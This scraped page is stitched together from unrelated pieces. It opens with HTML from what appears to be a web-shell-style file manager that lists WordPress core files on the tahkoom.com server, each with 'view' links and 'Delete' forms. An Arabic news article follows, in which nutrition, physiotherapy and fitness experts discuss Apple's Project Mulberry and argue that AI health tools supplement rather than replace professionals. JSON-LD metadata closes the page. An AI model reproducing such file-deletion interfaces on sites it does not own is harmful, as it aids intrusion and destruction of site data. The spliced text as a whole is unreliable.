            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-menu-items-controller.php"> class-wp-rest-menu-items-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-menu-locations-controller.php"> class-wp-rest-menu-locations-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-menus-controller.php"> class-wp-rest-menus-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-navigation-fallback-controller.php"> class-wp-rest-navigation-fallback-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-pattern-directory-controller.php"> class-wp-rest-pattern-directory-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-plugins-controller.php"> class-wp-rest-plugins-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-post-statuses-controller.php"> class-wp-rest-post-statuses-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-post-types-controller.php"> class-wp-rest-post-types-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-posts-controller.php"> class-wp-rest-posts-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-revisions-controller.php"> class-wp-rest-revisions-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-search-controller.php"> class-wp-rest-search-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-settings-controller.php"> class-wp-rest-settings-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-sidebars-controller.php"> class-wp-rest-sidebars-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-site-health-controller.php"> class-wp-rest-site-health-controller.php</a>
                  </span>
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<p class="MsoNormal"><strong>كتبت: فرح سمير</strong></p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> مدربك، طبيبك، وخبير التغذية… داخل هاتفك</mark></strong></p>



<p class="MsoNormal">! في خطوة جديدة تعزز مكانتها في عالم الصحة الرقمية، أعلنت شركة “آبل” عن مشروعها الطموح Project Mulberry، الذي يجمع بين الذكاء الاصطناعي والبيانات الصحية الشخصية لتقديم توصيات طبية وغذائية مصممة خصيصًا لكل مستخدم. المشروع يأتي كجزء من توسع آبل في مجالات الصحة والتغذية والعلاج الطبيعي. يهدف Project Mulberry إلى تحويل الهاتف الذكي إلى مساعد صحي افتراضي، يستند إلى معلومات دقيقة يتم جمعها من أجهزة مثل آيفون وآبل ووتش، لتقديم نصائح تتعلق بالنوم، التغذية، التمارين الرياضية، وحتى الوضعية الجسدية. يركز التطبيق على التكامل بين التحليل البيولوجي، والنصائح الشخصية، والمحتوى التعليمي المرئي. ويطمح إلى تقديم تجربة أكثر شمولاً… تبدأ من قياس عدد الخطوات، ولا تنتهي قبل تقديم خطة علاجية وتغذوية تراعي تفاصيل المستخدم. وقد استعانت آبل بفريق من الأطباء وخبراء التغذية والعلاج الطبيعي، لتدريب نموذجها الذكي وتحسين دقة التوصيات. لكن في خضم هذا التطور، تطرح تساؤلات مشروعة: هل يمكن لهذه التطبيقات أن تحل فعلاً محل الاستشارات الطبية المباشرة؟ وهل تمثل خطرًا على صحة المستخدم إن تم الاعتماد عليها بشكل كامل؟</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> “الذكاء الاصطناعي لا يملك حدسك”</mark></strong></p>



<p class="MsoNormal">الدكتورة &#8221; إيمان الحجار&#8221; استشاري التغذية؛ ترى أن الذكاء الاصطناعي لا يمكن الاعتماد عليه بشكل كامل في التخطيط الغذائي. خلال تدريب الطلبة، لاحظت أن أدوات الذكاء الاصطناعي ترتكب أخطاء واضحة في حساب السعرات، وتعتمد على معلومات غير مكتملة أو غير دقيقة، فضلًا عن تجاهلها لعادات وثقافات المجتمعات، مثل اقتراح أطعمة غير مقبولة دينيًا أو باهظة الثمن لا تناسب جميع الفئات. ترى د. إيمان أن التغذية لا تقتصر على وضع خطة مكتوبة، بل تحتاج إلى تواصل إنساني مباشر مع المريض، لفهم حالته النفسية والسلوكية، إذ قد يخفي بعض العادات الغذائية الحقيقية أو يتظاهر باتباع نظام صحي. من خلال الملاحظة المباشرة ولغة الجسد، تستطيع كمتخصصة كشف مشاكل لا يمكن للتطبيقات رصدها. تؤكد أن بعض المرضى يختبرون الذكاء الاصطناعي، وأحيانًا حتى الأخصائيين أنفسهم، كما تختلف شخصيات المرضى بين النرجسية أو السلبية أو الإنكار، ما يجعل التعامل الإنساني المباشر ضرورة، خاصة في حالات الأكل العاطفي أو الاضطرابات السلوكية المرتبطة بالتغذية. رغم ذلك، ترى أن الذكاء الاصطناعي يمكن أن يكون مكملًا مفيدًا، لا بديلًا. فهي استخدمته مثلًا مع الطلبة مرضى السكري في تطبيق ترفيهي يساعدهم على التعرف إلى السعرات الحرارية بشكل ممتع. كما تسهم التطبيقات في دعم الأخصائيين من خلال الردود التلقائية أو المتابعة اليومية، لكن مع ضرورة أن يكون التحكم بيد الأخصائي، لا العكس. وتحذر من مخاطر التطبيقات غير الموثوقة التي قد تنتهك الخصوصية أو تستغل البيانات، مشددة على أهمية المتابعة الشخصية مع الطبيب، لما تحققه من تواصل وجداني وتأثير نفسي إيجابي، خصوصًا عند إشراك المرضى في أنشطة جماعية ومشاركة وجباتهم، مما يشعرهم بالانتماء والدعم، ويقلل من العزلة والانطوائية. وتختم بأن العامل البشري لا غنى عنه، لأن مجرد الحوار بين المريض والأخصائي يمثل علاجًا بحد ذاته، ووسيلة لفهم أعمق ونتائج أفضل</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">العلاج الطبيعي: دعم لا بديل</mark></strong></p>



<p class="MsoNormal">أما في مجال العلاج الطبيعي، فيؤكد د. محمود عادل، استشاري العلاج الطبيعي –، أن الذكاء الاصطناعي يتمتع بإمكانات ملحوظة في تقديم إرشادات مخصصة اعتمادًا على تحليل بيانات المستخدمين، لكن الإشراف المتخصص يظل ضروريًا لضمان السلامة والفعالية، خاصة أن السلامة تمثل أولوية قصوى. ويشدد على أن المريض لا يجب أن يخضع لأي تجربة علاجية دون توجيه من مختص. يرى أن الذكاء الاصطناعي يمكن أن يكون مساعدًا في حالات محددة بسيطة أو لأغراض وقائية، وقد يشبه جزئيًا بعض جوانب جلسات العلاج الطبيعي. ومع ذلك، لا يمتلك القدرة على الحلول محل عملية التقييم والعلاج الشاملة التي يقوم بها الأخصائي، لأهمية المتابعة الدقيقة لحالة المريض. ويشير إلى أن مشروعًا مثل “Project Mulberry” يمكن أن يكون عنصرًا داعمًا لجلسات العلاج الطبيعي، لكنه لا يغني عنها، بل يسهل عملية المتابعة بين الجلسات ويوفر الوقت للمعالج والمريض. أما عن المخاطر، فيحذر من الاعتماد الكلي على التوجيهات التقنية دون استشارة أخصائي، لما قد يسببه ذلك من أخطاء في التشخيص أو أداء تمارين غير مناسبة، وهو ما قد يؤدي إلى تفاقم الإصابة، خصوصًا في حالات العضلات أو العمود الفقري. ويتابع: حتى مع تزويد التطبيقات بصور إشعاعية، يصعب عليها تقييم ما قد يضر المريض، كما أن الفيديوهات والصور يمكن أن تساعد في شرح التمارين، لكنها لا تعوض التوجيه المباشر، خاصة في الحالات المعقدة التي تتطلب تعديلاً مستمرًا بحسب استجابة الجسم التدريب الرياضي: حماس لا يمكن برمجته</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">المدرب الرقمي في جيبك…،</mark></strong></p>



<p class="MsoNormal"> تؤكد المدربة المعتمدة شيماء بركات أن الذكاء الاصطناعي، رغم تطوره، لا يمكن أن يحل محل المدرب البشري بأي شكل من الأشكال. وترى شيماء أن أنظمة الذكاء الاصطناعي قد تكون مفيدة في بعض الجوانب التقنية، خاصة عند توفر بيانات دقيقة وواضحة، لكنها لا تمتلك الفهم الكامل لاحتياجات كل مستخدم على حدة. كما أن الاعتماد على كاميرا الهاتف لتحليل الحركات لا يضاهي الملاحظة الفورية والخبرة العملية التي يتمتع بها المدرب، لا سيما أن تقييم الأداء البدني يتطلب قراءة دقيقة لتفاعل الجسم واستجابته أثناء التمرين. وتحذر من الاعتماد الكلي على هذه التطبيقات دون إشراف بشري مباشر، مشيرة إلى أن غياب العنصر الإنساني قد يؤدي إلى مشكلات عديدة، أبرزها الإصابة أو الفشل في تحقيق الأهداف، إضافة إلى شعور المتدرب بالملل أو فقدان الحافز بسبب غياب التشجيع والدعم اللحظي. كما تلفت إلى أن الذكاء الاصطناعي قد لا يكون قادرًا على التعامل مع الحالات الفردية الجديدة أو النادرة، وهو ما قد ينتج عنه عواقب سلبية عند غياب التقييم البشري المتخصص. وتختتم شيماء رأيها بالتأكيد على أن “التطبيقات الذكية ستظل أدوات مساعدة مفيدة، لكنها لا يمكن أن تحل محل التفاعل البشري الحي، أو تلغي الحاجة إلى خبرة المدرب الشخصي ومتابعته الدقيقة.” ميزة التطوير المستمر… ولكن! مشروع آبل مدعوم بفريق طبي يعمل على تدريب نموذج الذكاء الاصطناعي باستمرار، ما يعزز دقة التوصيات مع الوقت. كما أن إضافة خاصية متابعة التغذية وتحليل نمط النوم ومراقبة التمارين تجعل من التطبيق منصة شاملة. ومع ذلك، يبقى الاعتماد الكلي على الخوارزميات محل جدل. “ربما يكون المشروع مكملاً ممتازًا للرعاية الصحية، لكنه لا يجب أن يكون بديلاً عنها” ، يقول د. محمود. أداة مساعدة لا بديل مطلق: من الواضح أن الذكاء الاصطناعي بدأ يلعب دورًا متزايدًا في عالم الصحة. لكن حتى الآن، تظل قدراته محدودة أمام تعقيد الجسد البشري. التطبيقات الذكية قد تسهم في تحسين نمط الحياة، لكنها لا يمكن أن تحل محل المعرفة البشرية المتخصصة. في النهاية، الصحة تظل مسؤولية مشتركة بين الإنسان… والتقنية.</p>

			
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\u0648\u0627\u0644\u062a\u0642\u0646\u064a\u0629.\r\n","publisher":{"@id":"#Publisher","@type":"Organization","name":"tahkoom.com","logo":{"@type":"ImageObject","url":"https:\/\/tahkoom.com\/wp-content\/uploads\/2025\/05\/\u062a\u062d\u0643\u0645.png"},"sameAs":["https:\/\/www.facebook.com\/share\/1QKWyPHszc\/?mibextid=wwXIfr","https:\/\/www.instagram.com\/tahkom_?igsh=NGZzYjF0N3N3dWcy&utm_source=qr"]},"sourceOrganization":{"@id":"#Publisher"},"copyrightHolder":{"@id":"#Publisher"},"mainEntityOfPage":{"@type":"WebPage","@id":"https:\/\/tahkoom.com\/%d8%ad%d9%8a%d9%86-%d8%aa%d8%aa%d8%ad%d9%88%d9%84-%d8%a7%d9%84%d8%b3%d8%a7%d8%b9%d8%a9-%d8%a7%d9%84%d8%b0%d9%83%d9%8a%d8%a9-%d8%a5%d9%84%d9%89-%d8%b9%d9%8a%d8%a7%d8%af%d8%a9-%d9%85%d8%aa%d9%86%d9%82\/","breadcrumb":{"@id":"#Breadcrumb"}},"author":{"@type":"Person","name":"tahkoom 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